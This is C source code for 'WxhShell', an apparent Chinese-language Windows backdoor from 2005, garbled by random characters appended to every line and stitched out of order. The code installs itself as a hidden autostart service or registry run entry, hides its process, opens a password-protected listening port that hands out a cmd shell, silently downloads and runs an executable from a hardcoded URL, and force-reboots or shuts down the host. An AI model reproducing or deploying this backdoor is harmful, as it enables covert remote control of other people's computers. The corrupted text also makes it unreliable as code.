    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `#(4K4]1.  
    else { l,/5$JGnk  
    closesocket(wsh); JZ<O-G+  
    ExitThread(0); @vv`86bm  
    } UtWoSFZ'o!  
    break; -meKaQv  
    } AX&1-U  
  // 获取shell Z@h]dU5%a  
  case 's': { My[L3KTTp  
    CmdShell(wsh); Dho~6K }"  
    closesocket(wsh); ' Wi*[  
    ExitThread(0); I%(+tJ  
    break; 3oIoQj+D  
  } B02~/9*Y"  
  // 退出 )V>FU=  
  case 'x': { r|#4+'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .O,gl$y}  
    CloseIt(wsh); hrW.TwK  
    break; &3^40s/+  
    } I|PiZ1]2 Y  
  // 离开 bWyXDsr+  
  case 'q': { :*8@Mj Z4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xL!05du  
    closesocket(wsh); HN3 yA1<[V  
    WSACleanup(); NH?s  
    exit(1); :Ert57@l  
    break; ~f@;.  
        } ']dTW#i  
  } )Q\;N C=4  
  } rLVAI#ci=  
0p#36czqy  
  // 提示信息 Lr+2L_/v`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7f(UbO@BD  
} QvqBT  
  } ~+d]yeDrhx  
N@)g3mX>  
  return; I,#U _  
} \"lzmxe0p  
Z c"]Cv(  
// shell模块句柄 7_{x '#7  
int CmdShell(SOCKET sock) 7.=u:PK7kM  
{ ``Nj Nd  
STARTUPINFO si; CHLMY}O0  
ZeroMemory(&si,sizeof(si)); Kc(_?`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c"QI`;D_c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MBg^U<t8  
PROCESS_INFORMATION ProcessInfo; 0J_x*k6  
char cmdline[]="cmd"; VVf~ULZ-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g$:2c7uL  
  return 0; \q,w)BE  
} `S.;&%B\  
qS7*.E~j|]  
// 自身启动模式 A]n !d}?  
int StartFromService(void) #{]=>n)j  
{ Vxw?"mhP  
typedef struct *Lufz-[1  
{ 7IvCMb&%R  
  DWORD ExitStatus; yRy9*r=  
  DWORD PebBaseAddress; In 1.R$O  
  DWORD AffinityMask; ~fgv7=(!  
  DWORD BasePriority; L%BWrmg  
  ULONG UniqueProcessId; GY4yZa  
  ULONG InheritedFromUniqueProcessId; e;gf??8}  
}   PROCESS_BASIC_INFORMATION; P(Lwpa,S  
{jv1hKTa  
PROCNTQSIP NtQueryInformationProcess; !"1bV [^  
rKjQEO$yi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }%:?s6Ler  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vWgh?h/ot  
R `'@$"  
  HANDLE             hProcess; Rc6Rk!^  
  PROCESS_BASIC_INFORMATION pbi; 7'<4'BGzl]  
[s2%t"H-y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '-*r&:  
  if(NULL == hInst ) return 0; Dg]i};  
KYeA=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Mc\lzq8\ 1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &hF>}O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mg 3jm  
~ PPGU1  
  if (!NtQueryInformationProcess) return 0; '}}DPoV  
l@GpVdrv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q6,xsO,+  
  if(!hProcess) return 0; qItI):9U  
%tu{`PN<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w%$n)7<*  
;1y\!f3#V~  
  CloseHandle(hProcess); z,NHH):~  
wbpxJtJB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tC&y3!k2jR  
if(hProcess==NULL) return 0; wUSWB{y  
} M1<a4~  
HMODULE hMod; 7>4t{aRf_8  
char procName[255]; ](W #Tj5-  
unsigned long cbNeeded; Xau.4&\d  
*]EcjK%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A+dY~@*a  
Mu:H'$"'H  
  CloseHandle(hProcess); x,V_P/?%  
im?nR+t+X  
if(strstr(procName,"services")) return 1; // 以服务启动 g)"6|Z?D"  
 ,cB`j7p(  
  return 0; // 注册表启动 n^A=ar.  
} M,[ClQ 9  
dNyc|P`U  
// 主模块 !cq4+0{O;&  
int StartWxhshell(LPSTR lpCmdLine) Sj*H4ZHD<&  
{ <^&'r5H  
  SOCKET wsl; sO*6F`eiZ  
BOOL val=TRUE; w(@`g/b  
  int port=0; SHaZ-d  
  struct sockaddr_in door; vuK 5DG4  
SY{J  
  if(wscfg.ws_autoins) Install(); mH hm~u  
B O"+m  
port=atoi(lpCmdLine); {!="PnB  
%?g]{  
if(port<=0) port=wscfg.ws_port; I?:V EN:  
|;].~7^  
  WSADATA data; Lf,gS*Tg?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 44]ae~@a  
^a]i&o[c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {wm  `  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DnTM#i:  
  door.sin_family = AF_INET; [C&c;YNp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I/(`<s p  
  door.sin_port = htons(port); [R~HhM  
ZWFH5#=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J d`NS3;*p  
closesocket(wsl); *"4ltWS  
return 1; n1LS*-@  
} %GIla *  
N Lo>"<Xb  
  if(listen(wsl,2) == INVALID_SOCKET) { MRa>@Jn??A  
closesocket(wsl); x 1 _(j  
return 1;  Wi|.Z/  
} z4<h)hh"k6  
  Wxhshell(wsl); A76=^ iw  
  WSACleanup(); R:fu n ,  
)Qo6bei!  
return 0; i44`$ps  
bv] ZUF0  
} ;Rt,"W)  
X ak~He  
// 以NT服务方式启动 {Cd*y6lI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LO2sP"9  
{ < /}[x2w?]  
DWORD   status = 0; .h6h&[TEU  
  DWORD   specificError = 0xfffffff; %AJdtJ@0H  
FkS{Z s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i7p3GBXh[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $;">/ "7m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WT0U)x( m5  
  serviceStatus.dwWin32ExitCode     = 0; b :+ X3  
  serviceStatus.dwServiceSpecificExitCode = 0; B>'\g O\2  
  serviceStatus.dwCheckPoint       = 0; `aUA_"f  
  serviceStatus.dwWaitHint       = 0; i ^W\YLE  
.d*vfE$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g,1\Gj%y  
  if (hServiceStatusHandle==0) return; _7;#0B  
ru U|  
status = GetLastError(); oi!E v_h  
  if (status!=NO_ERROR) 1]qhQd-u  
{ C{,nDa?|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =EG[_i{r  
    serviceStatus.dwCheckPoint       = 0; CR _A{(  
    serviceStatus.dwWaitHint       = 0; 8<o(z'&y  
    serviceStatus.dwWin32ExitCode     = status; mT9TSW}  
    serviceStatus.dwServiceSpecificExitCode = specificError; rVO+ vhih  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I7}[%(~Sf/  
    return; &2g1Oy~  
  } D]0#A|n F  
7_|zMk.J*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \;sUJr"$  
  serviceStatus.dwCheckPoint       = 0; ]_ _M*  
  serviceStatus.dwWaitHint       = 0; rzex"}/ly  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #A|M NJ%m  
} Axcm~ !uf  
i\3`?d  
// 处理NT服务事件,比如:启动、停止 ;\H2U .  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -W oZwqh  
{ #\"5:.H Oz  
switch(fdwControl) &^Xm4r%u_  
{ `fL$t0 "  
case SERVICE_CONTROL_STOP: YlYTH_L>E  
  serviceStatus.dwWin32ExitCode = 0; 2#rF/!`^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TN0d fba[  
  serviceStatus.dwCheckPoint   = 0; avT>0b:  
  serviceStatus.dwWaitHint     = 0; 7y60-6r  
  { y)=Xo7j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [#.QDe  
  } .NPai4V'  
  return; m*(8I=]q  
case SERVICE_CONTROL_PAUSE: ed617J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]v+\v re  
  break; 9iv!+(ni  
case SERVICE_CONTROL_CONTINUE:  :${Lm&J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8L&#<Ol  
  break; vm Hf$rq  
case SERVICE_CONTROL_INTERROGATE: t n}9(Oa)  
  break; vb$k/8JK  
}; N (43+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {?t=*l\S{w  
} V43 |Ej}E  
7wZKK0;T  
// 标准应用程序主函数 ~UL; O\-b0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q!@" Y/  
{ =XqmFr;h  
d-c+ KV  
// 获取操作系统版本 1c\$ziB  
OsIsNt=GetOsVer(); :lcoSJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "eBpSV>nnQ  
e\)PGjSI  
  // 从命令行安装 tW 9vo-{+  
  if(strpbrk(lpCmdLine,"iI")) Install(); /Jo*O=Lpo  
f):|Ad|  
  // 下载执行文件 ;ASlsUE\)  
if(wscfg.ws_downexe) { uRp-yu[nt%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7H=/FT?e]  
  WinExec(wscfg.ws_filenam,SW_HIDE); z;Kyg}  
} d^,u"Z9P  
_RAPXU~ 6-  
if(!OsIsNt) { b&0q%tCK  
// 如果时win9x,隐藏进程并且设置为注册表启动 V RT| OUq  
HideProc(); |J8c|h<  
StartWxhshell(lpCmdLine); 5I@< 6S&X  
} ['{mW4i  
else 0Pbv7)=XL  
  if(StartFromService()) /9i2@#J}W1  
  // 以服务方式启动 38rC; 6  
  StartServiceCtrlDispatcher(DispatchTable); A?Uyj  
else 2'N%KKmJL  
  // 普通方式启动 Y68oBUd_E  
  StartWxhshell(lpCmdLine); g"F vD_  
IY+P Yad  
return 0; Q xKC5`1  
} hg |DpP  
2y,f  
N U\B  
rZ *}jD[  
=========================================== !hEt UF  
)$Mgp *?  
Ia[e 7  
<Azv VSA,  
MsfY|(/m  
l&[x)W  
" eR =P  
Hh,q)(Wo  
#include <stdio.h> L%Me wU0TZ  
#include <string.h> )%gi gQZ+  
#include <windows.h> yX/ 9jk  
#include <winsock2.h> gP? pfFhG  
#include <winsvc.h> e![n$/E3R  
#include <urlmon.h> vDqmD{%4N  
TU^UR}=lP  
#pragma comment (lib, "Ws2_32.lib") eqg|bc[i!t  
#pragma comment (lib, "urlmon.lib") &KT*rL  
,d$V-~2,  
#define MAX_USER   100 // 最大客户端连接数 FG:(H0  
#define BUF_SOCK   200 // sock buffer QT&2&#Z  
#define KEY_BUFF   255 // 输入 buffer +q6/'ErN]m  
]haZT\  
#define REBOOT     0   // 重启 %?^IS&]Z  
#define SHUTDOWN   1   // 关机 X`ee}C.D_  
Jzo|$W  
#define DEF_PORT   5000 // 监听端口 (~#{{Ja  
t[Qf|#g  
#define REG_LEN     16   // 注册表键长度 Jt  ^a  
#define SVC_LEN     80   // NT服务名长度 ;3'ta!.c  
:H@ Q`g u  
// 从dll定义API RNiFLD%5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wa5wkuS)ld  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -X3yCK?re  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `$Z:j;F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C%vR!Az  
0NL~2Qf_4  
// wxhshell配置信息 j KGfm9|zj  
struct WSCFG { 'S;INs2|->  
  int ws_port;         // 监听端口 I<Wp,E9G#  
  char ws_passstr[REG_LEN]; // 口令 8KiG(6*Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no &@<Z7))  
  char ws_regname[REG_LEN]; // 注册表键名 $SQ UN*/>  
  char ws_svcname[REG_LEN]; // 服务名 bnIl@0Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H Rn Q*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W US[hx,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zk#"n&u0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4YX/=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UuPXo66F ]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6Cfu19Dx  
7@oM?r7td  
}; `\_>P@qz  
@G,pM: t  
// default Wxhshell configuration l!qhK'']V"  
struct WSCFG wscfg={DEF_PORT, @cRR  
    "xuhuanlingzhe", lY -2e>  
    1, 3dheT}XV?p  
    "Wxhshell", UTwXN |'|  
    "Wxhshell", t/%{R.1MN  
            "WxhShell Service", ,a 2(h  
    "Wrsky Windows CmdShell Service", g\%;b3"#  
    "Please Input Your Password: ", Sqn|  
  1, /<C}v~r  
  "http://www.wrsky.com/wxhshell.exe", B8.a#@R  
  "Wxhshell.exe" Cw$0XyO  
    }; n/9.;9b$I  
1*U)\vK~  
// 消息定义模块 E.LD1Pm0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aG_@--=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M$YU_RPl+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &tVIl$e  
char *msg_ws_ext="\n\rExit."; X} {z7[  
char *msg_ws_end="\n\rQuit."; -+y lJo[D  
char *msg_ws_boot="\n\rReboot..."; C-h9_<AwJQ  
char *msg_ws_poff="\n\rShutdown..."; ;YN`E  
char *msg_ws_down="\n\rSave to "; ] MP*5U>;  
. ,h>2;f  
char *msg_ws_err="\n\rErr!"; f.)z_RyGd  
char *msg_ws_ok="\n\rOK!"; Jt ++3]  
A#7/,1h\  
char ExeFile[MAX_PATH]; nSy{ {d  
int nUser = 0; RG&t0%yj}  
HANDLE handles[MAX_USER]; G.")Bg  
int OsIsNt; |#(KP  
 A:b(@'h  
SERVICE_STATUS       serviceStatus; w :nYsuF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5}C.^J`  
qTZ\;[CrP"  
// 函数声明 amTeT o]Tg  
int Install(void); A4uKE"WE  
int Uninstall(void); j)nL!":O  
int DownloadFile(char *sURL, SOCKET wsh); 6C'W  
int Boot(int flag); U_Jchi,!  
void HideProc(void); Sy@)Q[A  
int GetOsVer(void); U1ZKJ<pv  
int Wxhshell(SOCKET wsl); %cO^:  
void TalkWithClient(void *cs); 7F5v-/  
int CmdShell(SOCKET sock); f`<elWgc"  
int StartFromService(void); 2x5^kN7  
int StartWxhshell(LPSTR lpCmdLine); (n{x"rLy/  
z`}z7e'>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6.Jvqn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); & zR\Rmpt  
3#A4A0  
// 数据结构和表定义 \+)aYP2Hu  
SERVICE_TABLE_ENTRY DispatchTable[] = "_^vQ1M]Z  
{ _^/k  
{wscfg.ws_svcname, NTServiceMain}, 9\'JtZO  
{NULL, NULL} `' .;U=mF  
}; HVdy!J  
CP'b,}Dd?I  
// 自我安装 ' kOkwGf!  
int Install(void) ~U r  
{ X;bHlA-g  
  char svExeFile[MAX_PATH]; y'5`Uo?\",  
  HKEY key; dzQs7D}  
  strcpy(svExeFile,ExeFile); ,B~5;/ |  
9r. h^  
// 如果是win9x系统,修改注册表设为自启动 PZ >(cvX&  
if(!OsIsNt) { `5Bv2 wlIV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XL3m#zW&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J Bgq2  
  RegCloseKey(key); ["fUSQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tVv/G ~(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ))%f"=:wt  
  RegCloseKey(key); U)[LKO1  
  return 0; C: AD ZJL  
    } -aq3Lqi  
  } ?6W v["%  
} t zShds  
else { :5sjF:@  
Q7.jSL6  
// 如果是NT以上系统,安装为系统服务 2YDD`:R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b>-h4{B[  
if (schSCManager!=0) vM'!WVs  
{ t`1M}}.  
  SC_HANDLE schService = CreateService #iKPp0`K*  
  ( ExhK\J  
  schSCManager, (|\%)v H-  
  wscfg.ws_svcname, C$0rl74Wi  
  wscfg.ws_svcdisp, 2qdc$I&$  
  SERVICE_ALL_ACCESS, 0q28Ulv9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *sQ.y {  
  SERVICE_AUTO_START, GrUpATIx  
  SERVICE_ERROR_NORMAL, bf=!\L$  
  svExeFile, Y\Z6u)  
  NULL, `_k_}9Fr  
  NULL, hg %iv%1B'  
  NULL, w`DcnQK'  
  NULL, @HzK)%@  
  NULL j8oX9 Yo0=  
  ); 2"T b><^"  
  if (schService!=0) ~:L5Ar<  
  { #Iu "qu  
  CloseServiceHandle(schService); /lC,5y  
  CloseServiceHandle(schSCManager); /mA\)TL|]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -^)<FY\  
  strcat(svExeFile,wscfg.ws_svcname); <&^[?FdAa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3:O|p[2)L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  aGOS 9  
  RegCloseKey(key); PR/>E60H  
  return 0; '>ASr]Q  
    } /d+v4GIB  
  } |}2/:f#Iz*  
  CloseServiceHandle(schSCManager); 2D(sA  
} deQ {  
} b# Dd  
tPa( H;  
return 1; <FX ]n<  
} rK3KxG  
.sc80i4  
// 自我卸载 ^W(ue]j}o  
int Uninstall(void) [,MaAB  
{ L8q#_k  
  HKEY key; RH{+8?0  
,SPgop'  
if(!OsIsNt) { }3, 4B -8!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S\]9mHJI  
  RegDeleteValue(key,wscfg.ws_regname); .820~b0  
  RegCloseKey(key); tU$n3Bg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q44vI  
  RegDeleteValue(key,wscfg.ws_regname); WJxcJE  
  RegCloseKey(key); u$CN$ynS  
  return 0; cNT !}8h^  
  } |)v}\-\ #  
} M,W-,l ]  
} xQ';$&  
else { ]#[4eaCg  
6ddRFpe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bo/<3gR  
if (schSCManager!=0) o~9sO=-O  
{ W[k rq_c-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f[vm]1#  
  if (schService!=0) Y}xM&%  
  { 7NT0]j(w-  
  if(DeleteService(schService)!=0) { 0i"2s}^+_  
  CloseServiceHandle(schService); {\`y)k 7  
  CloseServiceHandle(schSCManager); uF|Up]Z G  
  return 0; AFM+`{Cq  
  } "uP*pR^  
  CloseServiceHandle(schService); !VaC=I^{  
  } !4!qHJISa  
  CloseServiceHandle(schSCManager); mZXtHFMu  
} 1ni72iz\  
} urE7ZKdI  
*3P+K:2lNG  
return 1; R>Dr1fc}  
} R:(i}g<3  
.N>*+U>>P  
// 从指定url下载文件 P3YM4&6XA  
int DownloadFile(char *sURL, SOCKET wsh) S>b 3_D  
{ |QF_E4ISD  
  HRESULT hr; q"@ #FS  
char seps[]= "/"; B|V!=r1%  
char *token; r\#nBoo(  
char *file; ZXL'R |?  
char myURL[MAX_PATH]; gG@4MXq.  
char myFILE[MAX_PATH]; ?w!8;xS8  
~NPhVlT  
strcpy(myURL,sURL); Yyar{$he  
  token=strtok(myURL,seps); vNs`UkA  
  while(token!=NULL) p;'.7_1  
  { Kxa1F,dZ  
    file=token; ?-%(K^y4r  
  token=strtok(NULL,seps); ?&zi{N  
  } r~JGs?GH  
D5oYcGc  
GetCurrentDirectory(MAX_PATH,myFILE); 9BpxbU+L;  
strcat(myFILE, "\\"); /F9Dg<#a  
strcat(myFILE, file); eub}+~_?[  
  send(wsh,myFILE,strlen(myFILE),0); qBcbMa9m  
send(wsh,"...",3,0); )A%* l9\nG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <,0/BMz  
  if(hr==S_OK) z. X hE \  
return 0; fzw:[z:%  
else l5=ih9u  
return 1; nS h~ mP  
J_7@d]0R  
} CshME\/  
16]Ay&Kn!  
// 系统电源模块 ra6\+M~}e  
int Boot(int flag) SPRTJdaC9  
{ AX%}ip[PC  
  HANDLE hToken; x7<NaMK\  
  TOKEN_PRIVILEGES tkp;  oJ*,a  
, `Z4fz:  
  if(OsIsNt) { gE$Uv*Gj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rr2 !H%:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); < `"  
    tkp.PrivilegeCount = 1; z/h]Jos  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GDC@s<[k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g 8uq6U  
if(flag==REBOOT) { iZiT/#,H2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EI*~VFx  
  return 0; P qC#[0Qy  
} +jZa A/  
else { ;,6C&|n]w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -0 <vmU  
  return 0; sbX7VfAR`  
} C|Y[T{g?t  
  } nA_'j l  
  else { ZklpnL*!  
if(flag==REBOOT) { 0{%@"Fb0O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q W,:'\G  
  return 0; ~XP|dn}  
} 7S 8X)  
else { 0>BI[x@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $#+D:W)az  
  return 0; 7g]mrI@  
} (yi zM  
} P*?|E@;s`  
WA1d8nl  
return 1; spm)X-[1  
} ,j`48S@  
) 9 2(C  
// win9x进程隐藏模块 4H,c;g=!  
void HideProc(void) p`A2^FS)  
{ QD{1?aY  
4U}J?EB?K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GTTEg{  
  if ( hKernel != NULL ) ;` Xm?N  
  { %z1^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !ry+{v+A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p&V64L:V  
    FreeLibrary(hKernel); 4G' E< ab  
  } @v@F%JCZ  
%L]sQq,  
return; 41d+z>a]  
} <z2.A/L  
`:~Wu/Ogr  
// 获取操作系统版本 gCPH>8JwS0  
int GetOsVer(void) 9O-~Ws ;  
{ `?R{sNr.  
  OSVERSIONINFO winfo; _*?qOmf=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d7G@Z|R3p  
  GetVersionEx(&winfo); #k)z5vZ$h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P2f^]z  
  return 1; hp/pm6  
  else pO7OP"q1  
  return 0; v X6JjE!  
} &PL=nI\)  
LFxk.-{=  
// 客户端句柄模块 +%,oq ]<[,  
int Wxhshell(SOCKET wsl) LI3L~6A>  
{ )P b$  
  SOCKET wsh; N0^SWA|S  
  struct sockaddr_in client; jlF3LK)9q  
  DWORD myID; }riM-  
G%l')e)9Gq  
  while(nUser<MAX_USER) ^yc8is'`  
{ )4qspy3  
  int nSize=sizeof(client); S .x>w/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); % JiF269  
  if(wsh==INVALID_SOCKET) return 1; CP; <B1  
WHv6E!^\_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X[tB^`  
if(handles[nUser]==0) #[x*0K-h  
  closesocket(wsh); 0{ B<A^Bf  
else j2IK\~W?-  
  nUser++; BI-'&kPk  
  } o[ks-C>jw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #o} /'  
WvJ:yUb2  
  return 0; b:~#;$g  
} .'H$|"( v  
:;hg :Q:  
// 关闭 socket [sk n9$  
void CloseIt(SOCKET wsh) ({C[RsY=6  
{ p.8  
closesocket(wsh); !lFNG:&`  
nUser--; `i(b%$|^&Z  
ExitThread(0); nXhP ME  
} B=n90XO |  
j #: ARb  
// 客户端请求句柄 p6BDhT(RS  
void TalkWithClient(void *cs) xFThs,w  
{ Z8ivw\|M8  
tKe-Dk9  
  SOCKET wsh=(SOCKET)cs; 9)S3{i6w  
  char pwd[SVC_LEN]; 286reeN/e  
  char cmd[KEY_BUFF]; <+q`Dk  
char chr[1]; B[7,Hy,R  
int i,j; yF6AI@y  
'/ \*l<  
  while (nUser < MAX_USER) { '&,p>aM  
,9I-3**W  
if(wscfg.ws_passstr) { Twd*HH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +HUy,@^ Pa  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B/@LE{qUn  
  //ZeroMemory(pwd,KEY_BUFF); XgnNYy6W  
      i=0; LprGsqr:  
  while(i<SVC_LEN) { G}l9 [lE  
Iq,h}7C8'  
  // 设置超时 Vq-Kl[-|  
  fd_set FdRead; `p* 43nV  
  struct timeval TimeOut; >m;nt}f'+  
  FD_ZERO(&FdRead); PknKzrEG:>  
  FD_SET(wsh,&FdRead); 0L32sF y  
  TimeOut.tv_sec=8; #T>?g5I  
  TimeOut.tv_usec=0; u tkdL4G}'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z?Z"*z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d(^HO~p  
6A.%)whI;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %vZHHBylu  
  pwd=chr[0]; Pvt!G  
  if(chr[0]==0xd || chr[0]==0xa) { &v;fK$=2C  
  pwd=0; .s4v*bng  
  break; F Xr\  
  } Dbi ^%  
  i++; 7R79[:uwJ  
    } `'XN2-M8  
v%2Dz  
  // 如果是非法用户,关闭 socket P=<lY},  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rf@47H  
} jLM y27Cn  
^;s/4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pRE^; 4}z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^`SEmYb;  
}s'=w]m  
while(1) { jz=V*p}6  
y*sVimx  
  ZeroMemory(cmd,KEY_BUFF); pnp8`\cIH  
p&<n_b  
      // 自动支持客户端 telnet标准   ZDp^k{AN9a  
  j=0; D8~\*0->  
  while(j<KEY_BUFF) { )h0>e9z>Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z<fd!g+^  
  cmd[j]=chr[0]; [$d]U.  
  if(chr[0]==0xa || chr[0]==0xd) { GKF!GbGR@  
  cmd[j]=0; 8O{V#aop  
  break; 9__Q-J  
  } p8-$MF]] 6  
  j++; K$}K2w  
    } $?z} yx$  
+'93%/:  
  // 下载文件 YG= :lf  
  if(strstr(cmd,"http://")) { ZWS:-]P.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); - uO(qUa#  
  if(DownloadFile(cmd,wsh)) *6AqRE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L ..  
  else ~J~R.r/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |k]]dP|:'  
  } ^["D>@yIR  
  else { s.;'-oA  
r|uR!=*|?  
